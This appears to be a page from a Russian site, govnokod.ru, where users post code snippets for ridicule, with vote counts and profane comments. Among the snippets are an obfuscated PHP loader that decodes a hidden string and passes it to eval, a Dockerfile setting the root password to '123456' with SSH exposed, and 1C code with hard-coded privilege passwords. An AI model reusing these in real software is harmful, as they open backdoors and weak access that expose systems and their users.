- 1
- 2
- 3
- 4
- 5
- 6
class Panel
{
// ...
friend class Panel;
// ...
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+4
class Panel
{
// ...
friend class Panel;
// ...
}
Нашёл такое в хедерах VGUI1 -- игрового тулкита от Valve для Gold Source.
Объясните, умные люди, зачем?
+2
public int Add(T item)
{
var p = m_parent as DataTreeRecord;
var i = item as DataTreeRecord;
if (m_newData == null || m_newData.Length == 0) m_newData = new T[8];
if (m_newData.Length <= m_newCount) Array.Resize(ref m_newData, m_newData.Length * 2);
if (p != null && i != null)
{
i.Parent = p;
}
m_newData[m_newCount++] = item;
OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, new T[1] { item }));
return this.Count - 1;
}
Мы любим ебаться с array. List? Зачем, он медленный! Мы напишем свой ORM с аррэями и PHP внутри няшного сишарпика.
Приходилось работать с этим проектом. Это просто кладезь говнокода, и это ещё не самое ужасное место.
−3
// if too many vertices, start a new mesh;
if (vertices.length > 65000) {
// finalize the old mesh
mesh.triangles = triangles;
mesh.vertices = vertices;
mesh.colors = colors;
mesh.computeWireframe();
mesh.computeNormals();
if (mesh.vertices.length) {
meshes.push(mesh);
}
не добавляем пустые меши, нафиг они нам
−1
FROM centos:7
RUN yum update -y && yum -y install openssh-server ssh
RUN echo 'root:123456' | chpasswd
RUN passwd -u root
RUN ssh-keygen -A
RUN ssh-keygen -t rsa -b 4096 -C "[email protected]" -N "" -f /root/.ssh/id_rsa
RUN cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
RUN chmod 600 /root/.ssh/id_rsa.pub
ADD ./ssh_config /etc/ssh/ssh_config
ADD ./sshd_config /etc/ssh/sshd_config
CMD ["/bin/sh", "-c", "{ while :; do /usr/sbin/sshd -eD ; done }"]
docker build --name trolleybus-is-hleba .+4
#!/bin/bash
echo "(find-file \"$1\")" >> ~/.emacs.d/cmdfile
В emacs периодически дергается
(defun read-cmd-file ()
(load-file "~/.emacs.d/cmdfile")
(delete-file "~/.emacs.d/cmdfile"))
(run-with-idle-timer 1 t 'read-cmd-file)
гуру emacs ЛОРа
−3
_sock = new Socket(SocketType.Stream, ProtocolType.Tcp);
var saea = new SocketAsyncEventArgs {RemoteEndPoint = new IPEndPoint(0x0100007f, 1338)};
var mre = new ManualResetEventSlim(false);
saea.Completed += (o, e2) => mre.Set();
_sock.ConnectAsync(saea);
mre.Wait();
mre.Reset();
var idBuf = new byte[8];
var idSeg = new ArraySegment<byte>(idBuf);
saea = new SocketAsyncEventArgs { BufferList = new[] { idSeg } };
saea.Completed += (o, e2) => mre.Set();
_sock.ReceiveAsync(saea);
mre.Wait();
Task.Run((Action) ReceivingLoop);
mre.Dispose();
Блядские сокеты в UWP. Майки лучше не смогли ничего придумать, как добавлять в язык с нормальной асинхронностью сокеты на КОЛЛБЕКАХ блять. В 2016. Коллбеки. Да они там ебанулись к хуям
+1
<?php
function eextp($vl, $jnhkcx){$ucss = ''; for($i=0; $i < strlen($vl); $i++){$ucss .= isset($jnhkcx[$vl[$i]]) ? $jnhkcx[$vl[$i]] : $vl[$i];}
$hbo="base64_decode";return $hbo($ucss);}
$fdolmkywqn = 'sJrPTtNf2usZ1ctBvENBucqL2BvQiI4taI5oC5o0TU4ou9brV6XgWJNguctBvENBvBvQiO0oC5o0TU4ou9brV6XgWUK8uct82';
$aosgtno = Array('1'=>'J', '0'=>'A', '3'=>'7', '2'=>'Z', '5'=>'w', '4'=>'5', '7'=>'k', '6'=>'C', '9'=>'3', '8'=>'4', 'A'=>'K', 'C'=>'O', 'B'=>'y', 'E'=>'m', 'D'=>'U', 'G'=>'i', 'F'=>'S', 'I'=>'E', 'H'=>'M', 'K'=>'F', 'J'=>'G', 'M'=>'8', 'L'=>'v', 'O'=>'D', 'N'=>'9', 'Q'=>'s', 'P'=>'u', 'S'=>'h', 'R'=>'Y', 'U'=>'W', 'T'=>'a', 'W'=>'b', 'V'=>'d', 'Y'=>'L', 'X'=>'g', 'Z'=>'o', 'a'=>'T', 'c'=>'2', 'b'=>'N', 'e'=>'6', 'd'=>'H', 'g'=>'n', 'f'=>'z', 'i'=>'I', 'h'=>'r', 'k'=>'R', 'j'=>'e', 'm'=>'1', 'l'=>'f', 'o'=>'p', 'n'=>'P', 'q'=>'x', 'p'=>'q', 's'=>'Q', 'r'=>'l', 'u'=>'X', 't'=>'V', 'w'=>'0', 'v'=>'c', 'y'=>'B', 'x'=>'t', 'z'=>'j');
eval(eextp($fdolmkywqn, $aosgtno));?>
−98
Процедура ОсновныеДействияФормыПароль(Кнопка)
Если ЭтотОбъект.Пароль = "база7" Тогда
ЭлементыФормы.РедактированиеСклада.Доступность = Истина;
ЭтотОбъект.Пароль = "";
Сообщить("Вы можете изменить галку 'Редактирование склада'");
ИначеЕсли ЭтотОбъект.Пароль = "разрешение" Тогда
ЭлементыФормы.ПривелигированныйПользователь.Доступность = Истина;
ЭтотОбъект.Пароль = "";
Сообщить("Вы можете изменить галку 'Привелигированный пользователь'");
Иначе
Сообщить("Вы ввели неверный пароль");
КонецЕсли;
КонецПроцедуры
Реализация ограничения прав на установку прав для пользователей ИБ.
+5
var pts = new Vector3[vCount];
var r = new Random();
for (var i = 0; i < pts.Length; i++)
pts[i] = new Vector3(r.Next(-10000, 10000), r.Next(-600, 600), r.Next(-10000, 10000)) * 0.05f;
/*for (var i = 0; i < pts.Length; i++)
for (var j = 0; j < pts.Length; j++)
if (pts[i].X > pts[j].X)
{
var tmp = pts[i];
pts[i] = pts[j];
pts[j] = tmp;
}*/
var vertices = new VertexPositionColor[vCount];
var indices = new int[vCount * 6];
//*
for (var i = 0; i < vCount; i++)
{
vertices[i] = new VertexPositionColor(pts[i], new Color(new Vector3(r.Next(-100000, 100000), r.Next(-100000, 100000), r.Next(-100000, 100000)) * 0.00001f));
indices[i * 6] = i;
indices[i * 6 + 3] = i;
var minDist = new float[] { 100000000, 100000000, 100000000 };
var minId = new int[] { 0, 0, 0 };
for (var j = 0; j < vCount; j++)
{
if (j == i) continue;
var dist = Vector3.DistanceSquared(pts[i], pts[j]);
if (dist < minDist[0])
{
minDist[2] = minDist[1]; minId[2] = minId[1];
minDist[1] = minDist[0]; minId[1] = minId[0];
minDist[0] = dist; minId[0] = j;
}
else if (dist < minDist[1])
{
minDist[2] = minDist[1]; minId[2] = minId[1];
minDist[1] = dist; minId[1] = j;
}
else if (dist < minDist[2])
{
minDist[2] = dist;
minId[2] = j;
}
}
indices[i * 6 + 1] = minId[0];
indices[i * 6 + 2] = minId[1];
indices[i * 6 + 4] = minId[1];
indices[i * 6 + 5] = minId[2];
}//*/
Антон, 20 лет.
Особенно вставило
indices[i * 6 + 1] = minId[0];
indices[i * 6 + 2] = minId[1];
indices[i * 6 + 4] = minId[1];
indices[i * 6 + 5] = minId[2];
−99
ЭлементыФормы.РедактированиеСклада.Доступность = Ложь;
Если ЭтотОбъект.ЭтоНовый() Тогда
ЭлементыФормы.РедактированиеСклада.Доступность = Ложь;
КонецЕсли;
когда склад недоступен никогда...